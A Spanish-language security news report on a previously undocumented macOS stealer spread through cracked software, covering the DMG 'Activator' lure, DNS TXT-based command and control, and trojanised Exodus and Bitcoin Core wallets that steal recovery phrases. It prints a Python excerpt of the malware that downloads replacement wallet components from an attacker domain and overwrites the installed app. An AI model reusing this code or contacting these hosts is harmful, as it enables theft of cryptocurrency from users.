Se ha detectado que software ilegítimo infecta a usuarios de Apple macOS con un malware ladrón previamente no documentado, capaz de recopilar información del sistema y datos de monederos de criptomonedas.

La firma de seguridad Kaspersky, que identificó estos artefactos en el entorno digital, señaló que están diseñados para atacar máquinas que ejecutan macOS Ventura 13.6 y versiones posteriores, indicando así la capacidad del malware para afectar tanto a Macs con arquitecturas de procesadores Intel como a los basados en Apple Silicon.

Las cadenas de ataque se valen de archivos de imagen de disco (DMG) manipulados que contienen un programa denominado «*Activator*» y una versión pirateada de software legítimo, como xScope.

A aquellos usuarios que abren los archivos DMG se les insta a trasladar ambos archivos a la carpeta de Aplicaciones y ejecutar el componente Activator para aplicar un supuesto parche y ejecutar la aplicación xScope.

Al lanzar Activator, no obstante, aparece una solicitud pidiendo al usuario ingresar la contraseña del administrador del sistema, permitiéndole así ejecutar un binario Mach-O con permisos elevados para iniciar la versión modificada de xScope.

> *«La artimaña radica en que los actores maliciosos tomaron versiones de aplicaciones ya crackeadas y añadieron unos pocos bytes al inicio del ejecutable, desactivándolo y obligando al usuario a lanzar Activator»,* explicó el investigador de seguridad Sergey Puzan.

La siguiente fase implica establecer conexión con un servidor de comando y control (C2) para obtener un script cifrado. La URL de C2 se construye combinando palabras de dos listas codificadas y agregando una secuencia aleatoria de cinco letras como un nombre de dominio de tercer nivel.

```
else:
    if not os.path.exists("/Applications/Exodus.app"):
     print("exodus not installed")
     exit(0)

    print("exodus start")
    process_name = "Exodus"
    while True:
              if is_process_running(process_name):
               time.sleep(30)
              else:
                ar = '/tmp/' + str(uuid.uuid4())
                os.mkdir(ar)
                zapp = ar + '/e.zip'
                scpt = ar + '/e.scpt'
                icn = ar + "/applet.icns"
                zelec = ar + "/elec.zip"
                realelecurl = is_mac_intelElectronUrl()
                download_file_with_progress(realelecurl, zelec)
                download_file_with_progress("http://apple-analyser.com/f/app.zip", zapp)
                download_file_with_progress("http://apple-analyser.com/f/Exodus.scpt", scpt)
                download_file_with_progress("http://apple-analyser.com/f/applet.icns", icn)
                subprocess.run(['unzip', "-o", zelec, '-d', "/Users/{}/electron".format(getpass.getuser()
                subprocess.run(['unzip', "-o", zapp, '-d', "/Users/{}/exodus".format(getpass.getuser())])
                subprocess.run(['osacompile', '-o', ar + '/Exodus.app', scpt])
                shutil.copyfile(icn, ar + '/Exodus.app/Contents/Resources/applet.icns')
                shutil.rmtree("/Applications/Exodus.app")
                shutil.copytree(ar + '/Exodus.app', "/Applications/Exodus.app")
                print("exodus ok")
                time.sleep(10)
                delete_directory(ar)
                break
    else:
     print("x")
```

Luego, se envía una solicitud DNS para este dominio con el fin de recuperar tres registros TXT de DNS, cada uno conteniendo un fragmento cifrado en Base64 que se descifra y ensambla para construir un script en Python, que, a su vez, establece persistencia y funciona como un descargador al conectarse a «apple-health[.]org» cada 30 segundos para descargar y ejecutar la carga principal.

> *«Esta fue una forma bastante interesante y poco común de contactar con un servidor de comando y control, ocultando la actividad dentro del tráfico y garantizando la descarga de la carga, ya que el mensaje de respuesta provenía del servidor DNS»,* detalló Puzan, describiéndolo como «realmente ingenioso».

La puerta trasera, mantenida activa y actualizada por el actor de amenazas, está diseñada para ejecutar comandos recibidos, recopilar metadatos del sistema y verificar la presencia de monederos Exodus y Bitcoin Core en el host infectado.

Si se encuentran, las aplicaciones son sustituidas por versiones modificadas descargadas del dominio «apple-analyser[.]com», las cuales están equipadas para extraer la frase de recuperación, la contraseña de desbloqueo del monedero, el nombre y el saldo, enviándolos a un servidor controlado por el actor.

> *«La carga final consistía en una puerta trasera capaz de ejecutar cualquier script con privilegios de administrador y reemplazar las aplicaciones de monedero de criptomonedas Bitcoin Core y Exodus instaladas en la máquina por versiones infectadas que robaban las frases de recuperación secretas en el momento en que se desbloqueaba el monedero»,* explicó Puzan.

Este desarrollo ocurre a medida que el software pirateado se convierte cada vez más en una vía para comprometer a los usuarios de macOS con diversos tipos de malware, incluidos Trojan-Proxy y ZuRu.